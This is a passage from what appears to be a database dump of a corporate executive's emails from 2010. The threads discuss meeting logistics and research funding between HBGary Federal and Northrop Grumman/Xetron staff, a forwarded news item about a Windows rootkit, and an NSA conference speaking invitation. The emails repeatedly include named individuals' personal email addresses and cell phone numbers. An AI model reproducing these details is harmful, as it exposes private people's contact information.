513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 12,\r\n2010 9:52 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYep I will be there. &nbsp;I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt went well. &nbsp;I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds great. &nbsp;Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron)&nbsp;\r\nTo: Masterson, Brian (Xetron)&nbsp;\r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting\r\n\r\n\r\n\r\nMeeting went fine.&nbsp;\r\nConroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.&nbsp; We can market to\r\nNGIS customers after&nbsp;the&nbsp;product\r\nis complete.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14863,'aaron_hbgary_com/14863.html'),(2603,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001213.M330193P3547Q2604.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think if we start at noon on Thursday?&nbsp; Think 5\r\nhours is enough time to kick-off?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Friday, February 12, 2010 11:06 PM\r\nTo: Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSo, if I don&#8217;t go to San Antonio Wednesday.&nbsp;&nbsp; Let me\r\nbuy you dinner and get you drunk on Wednesday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:52 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYep I will be there. &nbsp;I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt went well. &nbsp;I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds great. &nbsp;Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting \r\n\r\n\r\n\r\nMeeting went fine.&nbsp;\r\nConroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.&nbsp; We can market to\r\nNGIS customers after the\r\nproduct is complete.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15782,'aaron_hbgary_com/15782.html'),(2604,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001213.M62536P3547Q2603.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo, if I don&#8217;t go to San Antonio Wednesday.&nbsp;&nbsp; Let me buy you\r\ndinner and get you drunk on Wednesday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:52 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYep I will be there. &nbsp;I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt went well. &nbsp;I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds great. &nbsp;Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting \r\n\r\n\r\n\r\nMeeting went fine.&nbsp;\r\nConroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.&nbsp; We can market to\r\nNGIS customers after the\r\nproduct is complete.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7848,'aaron_hbgary_com/7848.html'),(2605,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001213.M821223P3547Q2605.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','SoundslikeaplanFrom my iPhoneOn Feb 12, 2010, at 11:06 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSo, if I don’t go to San Antonio Wednesday.   Let me buy you\r\ndinner and get you drunk on Wednesday.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:52 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nYep I will be there.  I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt went well.  I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan.  It was a good meeting, everyone agreed IS can&#39;t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds great.  Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don&#39;t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting \r\n\r\n\r\n\r\nMeeting went fine. \r\nConroy, Jadik, Barr, Armitage  Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.  We can market to\r\nNGIS customers after the\r\nproduct is complete.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8979,'aaron_hbgary_com/8979.html'),(2606,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001214.M246676P3547Q2607.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','YeahFrom my iPhoneOn Feb 13, 2010, at 12:26 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWhat do you think if we start at noon on Thursday?  Think 5\r\nhours is enough time to kick-off?\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Friday, February 12, 2010 11:06 PM\r\nTo: Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSo, if I don’t go to San Antonio Wednesday.   Let me\r\nbuy you dinner and get you drunk on Wednesday.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:52 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nYep I will be there.  I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt went well.  I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan.  It was a good meeting, everyone agreed IS can&#39;t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSounds great.  Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don&#39;t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting \r\n\r\n\r\n\r\nMeeting went fine. \r\nConroy, Jadik, Barr, Armitage  Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.  We can market to\r\nNGIS customers after the\r\nproduct is complete.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2116,'aaron_hbgary_com/2116.html'),(2607,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001214.M34564P3547Q2606.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','Bill wasn&#39;t thereFrom my iPhoneOn Feb 12, 2010, at 11:05 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nBack in the hotel.  \r\n\r\nAaron, it is just that some people do not support sending money\r\nlike IRAD out.  Martin has firm set opinions.  I think he wants to\r\nsee you make some financial investment in the development.  I understand\r\nyour response.  And, I understand both positions.  I have an out\r\nright now if I do not get enough engineers onto my IRAD charges.  If I don’t,\r\nthen I have already told Bill that I am sending money to you as a sub to\r\nperform my IRAD.   Just give it a little more to see how it breaks.\r\n\r\nWhy did Bill not bring it up?  I think saying that Xetron is\r\ncontributing as much as they can but more would help move the process more\r\nquickly would be appropriate.   Bill allegedly was spending today working\r\non the business case.  He should have been able to address the business\r\ncase right on the spot.\r\n\r\nGlad you’re going to be there.  I am supposed to be\r\nin San Antonio Wednesday but now need to be back for Thursday so if I cannot\r\nget to Atlanta Wednesday night, I will not be going.  Can’t wait to\r\nsee this evolve.  \r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 10:13 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI don&#39;t have anything planned right now.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNo on money.  I was going to, but I told Bill about\r\nthat earlier and he didn&#39;t want to bring that up(shrug).  Jim brought up\r\nmoney though as a passing comment about getting adequate money to do it and\r\nshowing the business case.  Anyway he sounded amenable to helping to fund,\r\nbut I leave that to you guys.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSpeaking of funding.  Do you know what the sticking\r\npoint is funding some HBGary development?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.  Do you have something planned for Wed afternoon?\r\n\r\n\r\n\r\n\r\n\r\nDid anyone ask Armitage for money?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson \r\n\r\nNorthrop Grumman/Xetron \r\n\r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\n\r\nCell: 513-706-4848 \r\n\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12,\r\n2010 9:52 PM\r\nTo: Masterson, Brian\r\n(Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nYep I will be there.  I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt went well.  I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan.  It was a good meeting, everyone agreed IS can&#39;t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds great.  Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don&#39;t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting\r\n\r\n\r\n\r\nMeeting went fine. \r\nConroy, Jadik, Barr, Armitage  Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.  We can market to\r\nNGIS customers after the product\r\nis complete.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13864,'aaron_hbgary_com/13864.html'),(2608,'2010-02-13','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001214.M460628P3547Q2608.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Rootkit May Be Behind Windows Blue Screen','Rootkit May Be Behind Windows Blue ScreenL3sPau1 writes \"A rootkit infection may be the cause of a Windows Blue Screen of Death issue experienced by Windows XP users who applied the latest round of Microsoft patches. It appears that the affected Windows PCs had the rootkit infection prior to deploying the Microsoft patches. Researcher Patrick W. Barnes, investigating the issue, has isolated the infection to the Windows atapi.sys file, a driver used by Windows to connect hard drives and other components. Barnes identified the infection as the Tdss-rootkit, which surfaced last November and has been spreading quickly, creating zombie machines for botnet activity.\"Read more of this story at Slashdot.\r\n\r\nFrom my iPhone',13893,'aaron_hbgary_com/13893.html'),(2609,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001214.M651854P3547Q2609.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Speak at NSA REBL confernce?','I do want to do this.  And the topic will be around building threat intelligence and dynamic defense.AaronFrom my iPhoneOn Feb 12, 2010, at 12:01 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nAaron,\r\n \r\nThe NSA Blue Team is an HBGary customer, and they are looking to do even more with us at the enterprise level.  They hold an annual REBL (Red Blue Team) conference in Maryland where they invite hundreds of gov&#39;t security professionals.  This is the top of food chain from a tech point of view.  This tier is above HBSS from a response point of view.\r\n\r\n\r\n \r\nLsst year they invited us to speak, but Greg didn&#39;t have the bandwidth to do it.  They&#39;ve invited us again for this year (May or June?).  Would you like to speak?  If yes, please write up one or more topics (a few sentences each) that I can send to them.  Talks can be either unclass or secret level.  They don&#39;t want sales pitches.  Products can be mentioned, but they want the talks to be technology oriented.\r\n\r\n\r\n \r\nWould a talk on attribution be a good one?  Please suggest others if you like.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\n',7593,'aaron_hbgary_com/7593.html'),(2610,'2010-02-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001214.M865802P3547Q2610.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Speak at NSA REBL confernce?','Cool.  Next step would be for you to give me a title and a paragraph to describe it.  I&#39;ll find out how many minutes of the time slots.\r\n \r\nOn Sat, Feb 13, 2010 at 7:52 